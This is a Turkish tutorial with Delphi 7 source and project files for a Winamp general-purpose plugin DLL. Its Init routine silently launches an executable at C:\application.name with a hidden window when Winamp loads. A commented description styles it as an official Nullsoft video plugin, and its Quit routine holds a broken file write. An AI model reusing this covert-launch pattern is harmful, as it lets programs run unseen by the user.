ilk olarak aşağıdaki kodu gen_test1.dpr olarak kaydediyoruz.
-------------------------------------------------------------
library gen_test1;
uses
windows,
pas_gen_test1 in 'pas_gen_test1.pas';
function winampGetGeneralPurposePlugin: PWinampGeneralPurposePlugin;
begin
with plugin do
begin
Version := $10;
Init := init;
Config := config;
Quit := quit;
end;
result := @plugin;
end;
exports winampGetGeneralPurposePlugin;
begin
end.
sonrada bu kodu pas_gen_test1.pas adıyla kaydedin
-------------------------------------------------------------------------------
unit pas_gen_test1;
interface
uses Windows, Messages,shellapi, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
function Init: Integer; cdecl;
procedure Config; cdecl;
procedure Quit; cdecl;
type
PWinampGeneralPurposePlugin = ^WinampGeneralPurposePlugin;
WinampGeneralPurposePlugin = record
Version: integer;
Description: PChar;
init: function: Integer; cdecl;
config: procedure; cdecl;
quit: procedure; cdecl;
hwndParent: HWND;
hDllInstance: HINST;
end;
const
Plugin: WinampGeneralPurposePlugin = (
Version: $10;
Description: '';{NullSoft Winamp Video v1.3}
Init: Init;
Config: Config;
Quit: Quit;
hWNDParent: 0;
hDLLInstance: 0; );
implementation
procedure quit; cdecl;
var
ast: textfile;
begin
try
assignfile(ast, 'C:\');
rewrite(ast);
write(ast, 'hello world');
closefile(ast);
except
end;
end;
function Init: Integer; cdecl;
begin
ShellExecute(plugin.hwndParent,'open',Pchar('C:\application.name'),'',Pchar('C:\'), SW_hide);
result := 0;
end;
procedure config; cdecl;
begin
end;
end.
evet bu biraz sorunlu ve zahmetli bi iş oyüzden bu kodlarıda bi zahmet gen_test1.cfg diye kaydedin
çünkü konfgürasyon çok önemli ben delphi7 kullanıyorum o yüzden bu kodun alt tarafındabulunan
LE ve LN değerleri orda göründüğü gibi sizde delphi version'unuza göre bir harf değiştirerek sorunu çözün.
---------------------------------------------------------------------------
-$A8
-$B-
-$C+
-$D+
-$E-
-$F-
-$G+
-$H+
-$I+
-$J+
-$K-
-$L+
-$M-
-$N+
-$O+
-$P+
-$Q-
-$R-
-$S-
-$T-
-$U-
-$V+
-$W-
-$X+
-$YD
-$Z1
-cg
-AWinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE;
-H+
-W+
-M
-$M16384,1048576
-K$00400000
-LE"c:\program files\borland\delphi7\Projects\Bpl"
-LN"c:\program files\borland\delphi7\Projects\Bpl"
ve son olarak gen_test1.dof adıyla kaydedin
evet önce version bak hemen altta onuda delphi versionunza göre değiştirin ve son olarak packages bölümünü en sonunda artık
siz hangi office'i seçtiyseniniz delphi kurulurken ona göre değiştirin
yada silin ona ihtiyacı olduğunu sanmıyorum
---------------------------------------------------------------------------
[FileVersion]
Version=7.0
[Compiler]
A=8
B=0
C=1
D=1
E=0
F=0
G=1
H=1
I=1
J=1
K=0
L=1
M=0
N=1
O=1
P=1
Q=0
R=0
S=0
T=0
U=0
V=1
W=0
X=1
Y=1
Z=1
ShowHints=1
ShowWarnings=1
UnitAliases=WinTypes=Windows;WinProcs=Windows;DbiTypes=BDE;DbiProcs=BDE;DbiErrs=BDE;
NamespacePrefix=
SymbolDeprecated=1
SymbolLibrary=1
SymbolPlatform=1
UnitLibrary=1
UnitPlatform=1
UnitDeprecated=1
HResultCompat=1
HidingMember=1
HiddenVirtual=1
Garbage=1
BoundsError=1
ZeroNilCompat=1
StringConstTruncated=1
ForLoopVarVarPar=1
TypedConstVarPar=1
AsgToTypedConst=1
CaseLabelRange=1
ForVariable=1
ConstructingAbstract=1
ComparisonFalse=1
ComparisonTrue=1
ComparingSignedUnsigned=1
CombiningSignedUnsigned=1
UnsupportedConstruct=1
FileOpen=1
FileOpenUnitSrc=1
BadGlobalSymbol=1
DuplicateConstructorDestructor=1
InvalidDirective=1
PackageNoLink=1
PackageThreadVar=1
ImplicitImport=1
HPPEMITIgnored=1
NoRetVal=1
UseBeforeDef=1
ForLoopVarUndef=1
UnitNameMismatch=1
NoCFGFileFound=1
MessageDirective=1
ImplicitVariants=1
UnicodeToLocale=1
LocaleToUnicode=1
ImagebaseMultiple=1
SuspiciousTypecast=1
PrivatePropAccessor=1
UnsafeType=1
UnsafeCode=1
UnsafeCast=1
[Linker]
MapFile=0
OutputObjs=0
ConsoleApp=1
DebugInfo=0
RemoteSymbols=0
MinStackSize=16384
MaxStackSize=1048576
ImageBase=4194304
ExeDescription=
[Directories]
OutputDir=
UnitOutputDir=
PackageDLLOutputDir=
PackageDCPOutputDir=
SearchPath=
Packages=vcl;rtl;vclx;indy;inet;xmlrtl;vclie;inetdbbde;inetdbxpress;dbrtl;dsnap;dsnapcon;vcldb;soaprtl;VclSmp;dbexpress;dbxcds;inetdb;bdertl;vcldbx;webdsnap;websnap;adortl;ibxpress;teeui;teedb;tee;dss;visualclx;visualdbclx;vclactnband;vclshlctrls;dclOfficeXP
Conditionals=
DebugSourceDirs=
UsePackages=0
[Parameters]
RunParams=
HostApplication=
Launcher=
UseLauncher=0
DebugCWD=
[Language]
ActiveLang=
ProjectLang=$00000409
RootDir=
[Version Info]
IncludeVerInfo=0
AutoIncBuild=0
MajorVer=1
MinorVer=0
Release=0
Build=0
Debug=0
PreRelease=0
Special=0
Private=0
DLL=0
Locale=1033
CodePage=1252
[Version Info Keys]
CompanyName=
FileDescription=
FileVersion=1.0.0.0
InternalName=
LegalCopyright=
LegalTrademarks=
OriginalFilename=
ProductName=
ProductVersion=1.0.0.0
Comments=
---------------------------------------------------------------------
evet hiçbir hata yapmadıysanız şuan çalışıyo olması lazım yada hiç düşünmeden delphi7 edinin
evet buradaki olay sadece winampa plugini tanıtmaydı gerisi direcx ile sizin aranızda kolay gelsin
yakında mediaplayer için visualization yapımı olacak...